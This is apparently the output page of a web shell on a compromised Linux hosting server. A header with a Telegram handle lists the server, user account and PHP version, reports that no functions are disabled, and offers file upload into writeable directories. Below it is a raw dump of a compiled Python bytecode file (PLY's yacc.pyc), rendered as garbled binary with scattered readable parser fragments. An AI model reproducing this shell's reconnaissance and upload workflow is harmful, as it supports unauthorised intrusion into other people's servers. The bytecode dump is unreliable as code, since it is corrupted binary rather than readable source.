https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/pycparser/ply/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyc
�
CrX[c@s�ddlZddlZddlZddlZddlZddlZddlZdZdZ	e
ZdZdZ
dZdZeZdZdZejddkr�eZneZejZd	efd
��YZdefd��YZd
efd��YZd�Zd�Z e!a"e!a#e!a$dZ%d�Z&d�Z'd�Z(d�Z)dfd��YZ*dfd��YZ+dfd��YZ,ej-d�Z.defd��YZ/defd ��YZ0d!efd"��YZ1d#�Z2d$efd%��YZ3d&efd'��YZ4d(efd)��YZ5d*efd+��YZ6d,�Z7d-�Z8d.efd/��YZ9d0e6fd1��YZ:d2�Z;d3�Z<d4efd5��YZ=dee!e
e!e
ee
ee!e!e!e!d6�
Z>dS(7i����Ns3.10s
parser.outtparsetabtLALRii(it	PlyLoggercBs8eZd�Zd�ZeZd�Zd�ZeZRS(cCs
||_dS(N(tf(tselfR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__init__nscOs|jj||d�dS(Ns
(Rtwrite(Rtmsgtargstkwargs((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytdebugqscOs |jjd||d�dS(Ns	WARNING: s
(RR(RRRR	((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytwarningvscOs |jjd||d�dS(NsERROR: s
(RR(RRRR	((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyterrorys(t__name__t
__module__RR
tinfoRRtcritical(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRms				t
NullLoggercBseZd�Zd�ZRS(cCs|S(N((Rtname((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__getattribute__�scOs|S(N((RRR	((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__call__�s(R
RRR(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRs	t	YaccErrorcBseZRS((R
R(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�scCspt|�}d|kr't|�}nt|�tkrJ|t d}ndt|�jt|�|f}|S(Ns
s ...s<%s @ 0x%x> (%s)(treprtlentresultlimitttypeR
tid(trtrepr_strtresult((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
format_result�s"cCs^t|�}d|kr't|�}nt|�dkr=|Sdt|�jt|�fSdS(Ns
is<%s @ 0x%x>(RRRR
R(RR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytformat_stack_entry�ssPLY: Don't use global functions errok(), token(), and restart() in p_error().
Instead, invoke the methods on the associated parser instance:

    def p_error(p):
        ...
        # Use parser.errok(), parser.token(), parser.restart()
        ...

    parser = yacc.yacc()
cCstjt�t�S(N(twarningstwarnt_warnmsgt_errok(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyterrok�s
cCstjt�t�S(N(R R!R"t_restart(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytrestart�s
cCstjt�t�S(N(R R!R"t_token(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyttoken�s
cCsL|ja|ja|ja||�}y
bbbWntk
rGnX|S(N(R$R#R(R'R&R%t	NameError(t	errorfuncR(tparserR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcall_errorfunc�s			

t
YaccSymbolcBseZd�Zd�ZRS(cCs|jS(N(R(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__str__�scCs
t|�S(N(tstr(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__repr__�s(R
RR.R0(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR-�s	tYaccProductioncBsneZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
RS(cCs(||_||_d|_d|_dS(N(tslicetstacktNonetlexerR+(RtsR3((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s			cCs\t|t�r0g|j|D]}|j^qS|dkrJ|j|jS|j|jSdS(Ni(t
isinstanceR2tvalueR3(RtnR6((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__getitem__�s
!cCs||j|_dS(N(R2R8(RR9tv((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__setitem__�scCs$g|j||!D]}|j^qS(N(R2R8(RtitjR6((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__getslice__�scCs
t|j�S(N(RR2(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__len__�scCst|j|dd�S(Ntlinenoi(tgetattrR2(RR9((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRAscCs||j|_dS(N(R2RA(RR9RA((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
set_linenoscCs<t|j|dd�}t|j|d|�}||fS(NRAit	endlineno(RBR2(RR9t	startlinetendline((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytlinespanscCst|j|dd�S(Ntlexposi(RBR2(RR9((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRHscCs<t|j|dd�}t|j|d|�}||fS(NRHit	endlexpos(RBR2(RR9tstartpostendpos((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytlexspanscCs
t�dS(N(tSyntaxError(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRsN(R
RR4RR:R<R?R@RARCRGRHRLR(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR1�s									tLRParsercBs�eZd�Zd�Zd�Zd�Zd�Zeeeeed�Z	eeeeed�Z
eeeeed�Zeeeeed�ZRS(	cCsD|j|_|j|_|j|_||_|j�t|_	dS(N(
tlr_productionstproductionst	lr_actiontactiontlr_gototgotoR*tset_defaulted_statestTrueterrorok(Rtlrtabterrorf((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRs	
cCs
t|_dS(N(RVRW(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR$&scCsD|j2|j2t�}d|_|jj|�|jjd�dS(Ns$endi(t
statestacktsymstackR-Rtappend(Rtsym((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR&)s		cCsui|_xe|jj�D]T\}}t|j��}t|�dkr|ddkr|d|j|<qqWdS(Nii(tdefaulted_statesRRtitemstlisttvaluesR(Rtstatetactionstrules((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRU9s
	"cCs
i|_dS(N(R^(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytdisable_defaulted_states@scCs�|strFt|t�r-ttj�}n|j|||||�S|re|j|||||�S|j|||||�SdS(N(	t	yaccdevelR7tintRtsyststderrt
parsedebugtparseopttparseopt_notrack(RtinputR5R
ttrackingt	tokenfunc((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytparseCsc"	Cs"	d}g}|j}|j}	|j}
|j}td�}d}
|jd�|sqddlm}|j	}n||_	||_
|dk	r�|j|�n|dkr�|j}n|}||_g}||_
g}||_||_d}|jd�t�}d|_|j|�d}x�tr	|jd�|jd|�||kr�|s�|so|�}n|j�}|s�t�}d|_q�n|j}||j|�}n||}|jd||�|jd	d
djg|D]}|j^q�d�t|�fj��|dk	r
|dkr�|j|�|}|jd|�|j|�d}|
r(|
d8}
q(q(n|dkr�|
|}|j}|j}t�}||_d|_|r.|jd
|jddjg||D]}t|j�^q��d|	|d||�n%|jd
|jg|	|d|�|r�||d}||d<|r�|d}|j|_|j|_|d}t |d|j�|_!t |d|j�|_"n||_#yp||3||_$|j%|�||3|jdt&|d��|j|�|	|d|}|j|�Wq(t'k
r�|j|�|j(|dd!�|j�|d}d|_d|_|}t)}
t*|_+q(Xq(q�|r�|j|_|j|_n|g}||_#y`||_$|j%|�|jdt&|d��|j|�|	|d|}|j|�Wq(t'k
r�|j|�|j�|d}d|_d|_|}t)}
t*|_+q(Xq(n|dkr
|d}t |dd�}|jdt&|��|jd�|Sn|dkr	|j,dd
djg|D]}|j^q2d�t|�fj��|
dksw|j+r�t)}
t*|_+|}|jdkr�d}n|j-r|r�t.|d�r�||_	n||_$t/|j-||�} |j+r�| }d}q(q�q�|rrt.|d�r,|j}!nd}!|!rXt0j1j2d|!|jf�q�t0j1j2d|j�q�t0j1j2d�dSnt)}
t|�dkr�|jdkr�d}d}d}|2q(n|jdkr�dS|jdkr�|d}|jdkrL|r@t |d|j�|_!t |d|j�|_"nd}q(nt�}d|_t.|d�r�|j|_|_!nt.|d�r�|j|_|_"n||_|j|�|}q(|j�}|r�|j|_|j|_n|j�|d}q(nt3d ��q(WdS(!NisPLY: PARSE DEBUG STARTi(tlexs$endtsState  : %ss#Defaulted state %s: Reduce using %dsStack  : %ss%s . %st s Action : Shift and goto state %ss3Action : Reduce rule [%s] with %s and goto state %dt[t,t]i����RDRIsResult : %sRR8sDone   : Returning %ssPLY: PARSE DEBUG ENDsError  : %sR5RAs(yacc: Syntax error at line %d, token=%s
syacc: Syntax error, token=%ss yacc: Parse error in input. EOF
RHsyacc: internal parser error!!!
(4R4RRRTRPR^R1RRrRqR5R+RmR(RZR[R3R\R-RRVR
tpoptgettjoinR/tlstripRRR8RRARHRBRDRIR2RbtcallableRRMtextendterror_counttFalseRWRR*thasattrR,RhRiRtRuntimeError("RRmR5R
RnRot	lookaheadtlookaheadstackRcRTtprodR^tpslicet
errorcountRqt	get_tokenRZR[terrtokenR]Rbtltypetttxxtptpnametplent_vttargtt1R9RttokRA((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRj\s~				
						
		
	
		
	@


					5


		





		
			





		


	@
						 !
			
	

c Csbd}g}|j}|j}	|j}
|j}td�}d}
|sdddlm}|j}n||_||_	|dk	r�|j
|�n|dkr�|j}n|}||_g}||_g}||_
||_d}|jd�t�}d|_|j|�d}xCtr]||kr�|so|sE|�}n|j�}|sot�}d|_qon|j}||j|�}n
||}|dk	r�|dkr�|j|�|}|j|�d}|
r|
d8}
qqn|dkrg|
|}|j}|j}t�}||_d|_|r�||d}||d<|r�|d}|j|_|j|_|d}t|d|j�|_t|d|j�|_n||_yV||3||_|j|�||3|j|�|	|d|}|j|�Wqt k
r�|j|�|j!|dd!�|j�|d}d|_d|_|}t"}
t#|_$qXqqg|r�|j|_|j|_n|g}||_yF||_|j|�|j|�|	|d|}|j|�Wqt k
r`|j|�|j�|d}d|_d|_|}t"}
t#|_$qXqn|dkr�|d}t|d	d�}|Sn|dkrN|
dks�|j$r�t"}
t#|_$|}|jdkr�d}n|j%rK|rt&|d
�r||_n||_t'|j%||�}|j$r�|}d}qq�q�|r�t&|d�rl|j}nd}|r�t(j)j*d||jf�q�t(j)j*d
|j�q�t(j)j*d�dSnt"}
t|�dkr|jdkrd}d}d}|2qn|jdkrdS|jdkr|d}|jdkr�|r�t|d|j�|_t|d|j�|_nd}qnt�}d|_t&|d�r�|j|_|_nt&|d�r�|j|_|_n||_|j|�|}q|j�}|r4|j|_|j|_n|j�|d}qnt+d��qWdS(Nii(Rqs$endi����RDRIRR8R5RAs(yacc: Syntax error at line %d, token=%s
syacc: Syntax error, token=%ss yacc: Parse error in input. EOF
RHsyacc: internal parser error!!!
(,R4RRRTRPR^R1RrRqR5R+RmR(RZR[R3R\R-RRVRwRxRRR8RARHRBRDRIR2RbR{RMR|R}R~RWR*RR,RhRiRR�( RRmR5R
RnRoR�R�RcRTR�R^R�R�RqR�RZR[R�R]RbR�R�R�R�R�R�R�R9RR�RA((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRk�sX										
		
			



					


		





		
			





		


						 !
			
	

cCs�d}g}|j}|j}	|j}
|j}td�}d}
|sdddlm}|j}n||_||_	|dk	r�|j
|�n|dkr�|j}n|}||_g}||_g}||_
||_d}|jd�t�}d|_|j|�d}xctr}||kr�|so|sE|�}n|j�}|sot�}d|_qon|j}||j|�}n
||}|dk	r|dkr�|j|�|}|j|�d}|
r|
d8}
qqn|dkr�|
|}|j}|j}t�}||_d|_|r'||d}||d<||_yV||3||_|j|�||3|j|�|	|d|}|j|�Wqtk
r |j|�|j|dd!�|j�|d}d|_d|_|}t}
t|_qXqq�|g}||_yF||_|j|�|j|�|	|d|}|j|�Wqtk
r�|j|�|j�|d}d|_d|_|}t}
t|_qXqn|dkr|d}t |dd�}|Sn|dkrn|
dks1|jrCt}
t|_|}|jdkr^d}n|j!r�|r�t"|d�r�||_n||_t#|j!||�}|jr@|}d}qq@qI|r,t"|d	�r�|j$}nd}|rt%j&j'd
||jf�q@t%j&j'd|j�qIt%j&j'd�dSnt}
t|�dkr�|jdkr�d}d}d}|2qn|jdkr�dS|jdkrH|d}|jdkr�d}qnt�}d|_t"|d	�r|j$|_$|_(nt"|d
�r)|j)|_)|_*n||_|j|�|}q|j�}|j�|d}qnt+d��qWdS(Nii(Rqs$endi����RR8R5RAs(yacc: Syntax error at line %d, token=%s
syacc: Syntax error, token=%ss yacc: Parse error in input. EOF
RHsyacc: internal parser error!!!
(,R4RRRTRPR^R1RrRqR5R+RmR(RZR[R3R\R-RRVRwRxRRR8R2RbR{RMR|R}R~RWRBR*RR,RARhRiRRDRHRIR�(RRmR5R
RnRoR�R�RcRTR�R^R�R�RqR�RZR[R�R]RbR�R�R�R�R�R�R9RR�RA((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRl�s8										
		
			



					
		





		
			





		


						 !
			
	

(
R
RRR$R&RUReR4R~RpRjRkRl(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRNs					�\�3s^[a-zA-Z0-9_-]+$t
ProductioncBsbeZdZddddd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�ZRS(
itrightRrc	Cs�||_t|�|_||_||_d|_||_||_||_	t
|j�|_
g|_x3|jD](}||jkrs|jj|�qsqsWg|_
d|_|jr�d|jdj|j�f|_nd|j|_dS(Ns%s -> %sRss
%s -> <empty>(RttupleR�tnumbertfuncR4R{tfiletlinetprecRtusymsR\tlr_itemstlr_nextRyR/(	RR�RR�t
precedenceR�R�R�R6((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRs$											%cCs|jS(N(R/(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR.=scCsdt|�dS(NsProduction(t)(R/(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR0@scCs
t|j�S(N(RR�(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR@CscCsdS(Ni((R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt__nonzero__FscCs|j|S(N(R�(Rtindex((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR:IscCs�|t|j�krdSt||�}yt|j|d|_Wn ttfk
rfg|_nXy|j|d|_Wntk
r�d|_nX|S(Ni(	RR�R4tLRItemt	Prodnamestlr_aftert
IndexErrortKeyErrort	lr_before(RR9R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytlr_itemMs


cCs |jr||j|_ndS(N(R�R{(Rtpdict((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytbind]s	(R�iN(R
RtreducedR4RR.R0R@R�R:R�R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s						tMiniProductioncBs,eZd�Zd�Zd�Zd�ZRS(cCsC||_||_||_d|_||_||_||_dS(N(RRR�R4R{R�R�R/(RR/RRR�R�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRfs						cCs|jS(N(R/(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR.oscCsd|jS(NsMiniProduction(%s)(R/(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR0rscCs |jr||j|_ndS(N(R�R{(RR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�vs	(R
RRR.R0R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�es				R�cBs#eZd�Zd�Zd�ZRS(cCs�|j|_t|j�|_|j|_||_i|_|jj|d�t|j�|_t|j�|_|j	|_	dS(Nt.(
RR`R�R�tlr_indext
lookaheadstinsertR�RR�(RR�R9((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s		cCs<|jr+d|jdj|j�f}n
d|j}|S(Ns%s -> %sRss
%s -> <empty>(R�RRy(RR6((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR.�s	"
cCsdt|�dS(NsLRItem(R�(R/(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR0�s(R
RRR.R0(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s		cCsIt|�d}x2|dkrD|||kr7||S|d8}qWdS(Nii(RR4(tsymbolst	terminalsR=((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytrightmost_terminal�stGrammarErrorcBseZRS((R
R(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��stGrammarcBs�eZd�Zd�Zd�Zd�Zdddd�Zdd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zdd�Zd�ZRS(cCs�dg|_i|_i|_i|_x|D]}g|j|<q.Wg|jd<i|_i|_i|_i|_t	�|_
d|_dS(NR(R4tProductionsR�tProdmapt	TerminalstNonterminalstFirsttFollowt
PrecedencetsettUsedPrecedencetStart(RR�tterm((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s			

				cCs
t|j�S(N(RR�(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR@�scCs|j|S(N(R�(RR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR:�scCsr|jdgkstd��||jkr@td|��n|dkr[td��n||f|j|<dS(Ns2Must call set_precedence() before add_production()s,Precedence already specified for terminal %rtleftR�tnonassocs:Associativity must be one of 'left','right', or 'nonassoc'(sleftsrightR�(R�R4tAssertionErrorR�R�(RR�tassoctlevel((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytset_precedence�sRricCs�||jkr+td|||f��n|dkrStd|||f��ntj|�s~td|||f��nx�t|�D]�\}}|ddkr+ymt|�}t|�dkr�td||||f��n||jkrg|j|<n|||<w�Wq+tk
r'q+Xntj|�r�|d	kr�td
||||f��q�q�Wd	|kr |dd	kr�td||f��n|d
d	kr�td||f��n|d}	|jj	|	�}
|
std|||	f��n|j
j|	�|d
3n't||j�}	|jj	|	d�}
d||f}||j
kr�|j
|}td|||fd|j|jf��nt|j�}
||jkr�g|j|<nxg|D]_}||jkr|j|j|
�q�||jkr#g|j|<n|j|j|
�q�Wt|
|||
|||�}|jj|�||j
|<y|j|j|�Wn!tk
r�|g|j|<nXdS(Ns7%s:%d: Illegal rule name %r. Already defined as a tokenRs5%s:%d: Illegal rule name %r. error is a reserved words%s:%d: Illegal rule name %ris'"isA%s:%d: Literal token %s in rule %r may only be a single characters%precs!%s:%d: Illegal name %r in rule %ri����s+%s:%d: Syntax error. Nothing follows %%preci����sH%s:%d: Syntax error. %%prec can only appear at the end of a grammar rules/%s:%d: Nothing known about the precedence of %rR�s%s -> %ss%s:%d: Duplicate rule %s. sPrevious definition at %s:%d(srighti(R�R�t_is_identifiertmatcht	enumeratetevalRRMR�RxR�taddR�R�R�R�R�R�R\R�R�R�(RtprodnametsymsR�R�R�R9R6tctprecnametprodprectmaptmtpnumberR�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytadd_production
sp

#





cCsx|s|jdj}n||jkr;td|��ntdd|g�|jd<|j|jd�||_dS(Nisstart symbol %s undefinedisS'(R�RR�R�R�R\R�(Rtstart((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt	set_startascs\���fd��t����jdjd�g�jD]}|�kr@|^q@S(Ncs_|�krdS�j|�x;�jj|g�D]$}x|jD]}�|�qCWq3WdS(N(R�R�RxR�(R6R�R(tmark_reachable_fromt	reachableR(s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�ts
i(R�R�R�R�(RR6((R�R�Rs6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytfind_unreachableqs	cCsYi}x|jD]}t||<qWt|d<x|jD]}t||<q8Wx�tr�t}x�|jj�D]r\}}xc|D][}x+|jD]}||s�t}Pq�q�Wt}|r~||s�t||<t}nPq~q~WqkW|sOPqOqOWg}	x]|j�D]O\}}
|
s||jkrA||jkrA|dkrAqQ|	j|�qqW|	S(Ns$endR(R�RVR�R~R�R_R�R\(Rt
terminatesR�R9tsome_changetplR�R6tp_terminatestinfiniteR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytinfinite_cycles�s:
	



	*cCs~g}xq|jD]f}|s"qnxQ|jD]F}||jkr,||jkr,|dkr,|j||f�q,q,WqW|S(NR(R�R�R�R�R\(RRR�R6((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytundefined_symbols�s*cCsMg}x@|jj�D]/\}}|dkr|r|j|�qqW|S(NR(R�R_R\(Rt
unused_tokR6R;((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytunused_terminals�s
cCsQg}xD|jj�D]3\}}|s|j|d}|j|�qqW|S(Ni(R�R_R�R\(Rtunused_prodR6R;R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytunused_rules�scCs]g}xP|jD]E}||jkp1||jks|j||j|df�qqW|S(Ni(R�R�R�R\(Rtunusedttermname((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytunused_precedence�s
%cCs�g}xt|D]_}t}xF|j|D]7}|dkrBt}q'||kr'|j|�q'q'W|rkq
Pq
W|jd�|S(Ns<empty>(R~R�RVR\(RtbetaRtxtx_produces_emptyR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt_first	s
	
cCs|jr|jSx!|jD]}|g|j|<qWdg|jd<x|jD]}g|j|<qNWx�tr�t}xv|jD]k}xb|j|D]S}xJ|j|j�D]6}||j|kr�|j|j|�t}q�q�Wq�Wq~W|shPqhqhW|jS(Ns$end(	R�R�R�RVR~R�R�R�R\(RR�R9R�R�R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
compute_first,s$		c
Cs�|jr|jS|js&|j�nx|jD]}g|j|<q0W|s`|jdj}ndg|j|<xStr�t}x6|jdD]'}xt|j	�D]
\}}||jkr�|j
|j	|d�}t}x_|D]W}	|	dkr'|	|j|kr'|j|j|	�t}n|	dkr�t}q�q�W|s_|t|j	�dkr�xK|j|jD]6}	|	|j|krp|j|j|	�t}qpqpWq�q�q�Wq�W|ssPqsqsW|jS(Nis$ends<empty>(
R�R�R�R�R�RRVR~R�R�R�R\R(
RR�tktdidaddR�R=tBtfstthasemptyR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcompute_followQs<		
	
	
cCsx
|jD]�}|}d}g}x�tr�|t|�krFd}n�t||�}y|j|j|d|_Wn tt	fk
r�g|_nXy|j|d|_
Wntk
r�d|_
nX||_|s�Pn|j|�|}|d7}q%W||_
q
WdS(Nii(R�RVRR4R�R�R�R�R�R�R�R�R\R�(RR�tlastlriR=R�tlri((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
build_lritems�s.		


	
N(R
RRR@R:R�R4R�R�R�R�R�R�R�R�R�R�R�R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s 	$			T		@					#	%;tVersionErrorcBseZRS((R
R(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��stLRTablecBs,eZd�Zd�Zd�Zd�ZRS(cCs(d|_d|_d|_d|_dS(N(R4RQRSROt	lr_method(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s			cBs�e|ej�r|}nd|dUej|}|jekrRed��n|j|_	|j
|_g|_x'|j
D]}|jje|��q}W|j|_|jS(Ns	import %ss&yacc table file version is out of date(R7ttypest
ModuleTypeRhtmodulest_tabversiont__tabversion__R�t
_lr_actionRQt_lr_gotoRSROt_lr_productionsR\R�t
_lr_methodR�t
_lr_signature(RtmoduleRR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
read_table�s	
	cCsyddl}Wntk
r/ddl}nXtjj|�sKt�nt|d�}|j|�}|tkr�t	d��n|j|�|_
|j|�}|j|�|_|j|�|_|j|�}g|_
x$|D]}|j
jt|��q�W|j�|S(Ni����trbs&yacc table file version is out of date(tcPickletImportErrortpickletostpathtexiststopentloadR�R�R�RQRSROR\R�tclose(RtfilenameRtin_ft
tabversiont	signatureRPR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytread_pickle�s(
		

cCs%x|jD]}|j|�q
WdS(N(ROR�(RR�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytbind_callables�s(R
RRRRR(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s			c	Csqi}x|D]}d||<q
Wg}i}x=|D]5}||dkr4t|||||||�q4q4W|S(Ni(ttraverse(tXtRtFPtNR�R3tF((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytdigraphs

#c	Cs]|j|�t|�}|||<||�||<||�}x�|D]�}	||	dkr{t|	||||||�nt||||	�||<x>|j|	g�D]*}
|
||kr�||j|
�q�q�WqFW|||krYt||d<||||d<|j�}x?||krUt||d<||||d<|j�}qWndS(Nii����(R\RRtminRxtMAXINTRw(R�RR3RRRRtdtreltytatelement((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRs(


t	LALRErrorcBseZRS((R
R(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR")stLRGeneratedTablecBs�eZddd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zddd�Zdd�ZRS(RcCs�|dkrtd|��n||_||_|sCt�}n||_i|_i|_|j|_i|_	i|_
d|_d|_d|_
g|_g|_g|_|jj�|jj�|jj�|j�dS(NtSLRRsUnsupported method %si(R$R(R"tgrammarR�RtlogRQRSR�ROt
lr_goto_cachetlr0_cidhasht
_add_counttsr_conflicttrr_conflictt	conflictstsr_conflictstrr_conflictsR�R�R�tlr_parse_table(RR%tmethodR&((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR4s,													


cCs�|jd7_|}t}xx|r�t}xe|D]]}xT|jD]I}t|dd�|jkriqBn|j|j�|j|_t}qBWq2WqW|S(Nit	lr0_addedi(R)RVR~R�RBR\R�R1(RtItJR�R>R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytlr0_closureYs	
c	Cs6|jjt|�|f�}|r(|S|jj|�}|sVi}||j|<ng}xv|D]n}|j}|rc|j|krc|jt|��}|s�i}||t|�<n|j|�|}qcqcW|jd�}|s|r|j|�}||d<q||d<n||jt|�|f<|S(Ns$end(R'RxRR�R�R\R4(	RR2R�tgR6tgsR�R9ts1((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytlr0_gotoss2
	



c	Cs-|j|jjdjg�g}d}x+|D]#}||jt|�<|d7}q/Wd}x�|t|�kr(||}|d7}i}x,|D]$}x|jD]}d||<q�Wq�Wxh|D]`}|j	||�}|s�t|�|jkr�q�nt|�|jt|�<|j
|�q�Wq_W|S(Nii(R4R%R�R�R(RRR�R4R8R\(	RtCR=R2tasymstiiR6R�R5((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt	lr0_items�s("




cCs�t�}d}x�tr�xq|jjdD]_}|jdkrT|j|j�q)nx1|jD]}||kr^Pq^q^W|j|j�q)Wt|�|kr�Pnt|�}qW|S(Nii(R�RVR%R�RR�RR�(Rtnullabletnum_nullableR�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcompute_nullable_nonterminals�s		cCs�g}x�t|�D]�\}}xv|D]n}|j|jdkr&||j|jdf}|d|jjkr�||kr�|j|�q�q�q&q&WqW|S(Ni(R�R�RR�R%R�R\(RR9ttranststatenoRbR�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytfind_nonterminal_transitions�s
cCs�i}|\}}g}|j|||�}xl|D]d}	|	j|	jdkr5|	j|	jd}
|
|jjkr�|
|kr�|j|
�q�q�q5q5W|dkr�||jjdjdkr�|jd�n|S(Niis$end(R8R�RR�R%R�R\R�(RR9R@R=tdr_setRbRttermsR5R�R ((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytdr_relation�s
)cCs�g}|\}}|j|||�}|jjt|�d�}x]|D]U}	|	j|	jdkrJ|	j|	jd}
|
|kr�|j||
f�q�qJqJW|S(Ni����i(R8R(RxRR�RR�R\(RR9R@temptyRRbRR5R>R�R ((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytreads_relation	s
cCsli}i}i}x|D]}d||<qWx2|D]*\}}	g}
g}x�||D]�}|j|	krrqWn|j}
|}x�|
|jdkrh|
d}
|j|
}||f|kr4|
d}xg||jkr|j||jjkr�Pn|j||krPn|d}q�W|j||f�n|j|||�}|jj	t
|�d�}q�Wx�||D]�}|j|jkr�qtn|j|jkr�qtnd}xR||jkr�|j||j|dkr�Pn|d}q�W|
j||f�qtWqWWx>|D]6}||kr3g||<n||j||	f�qW|
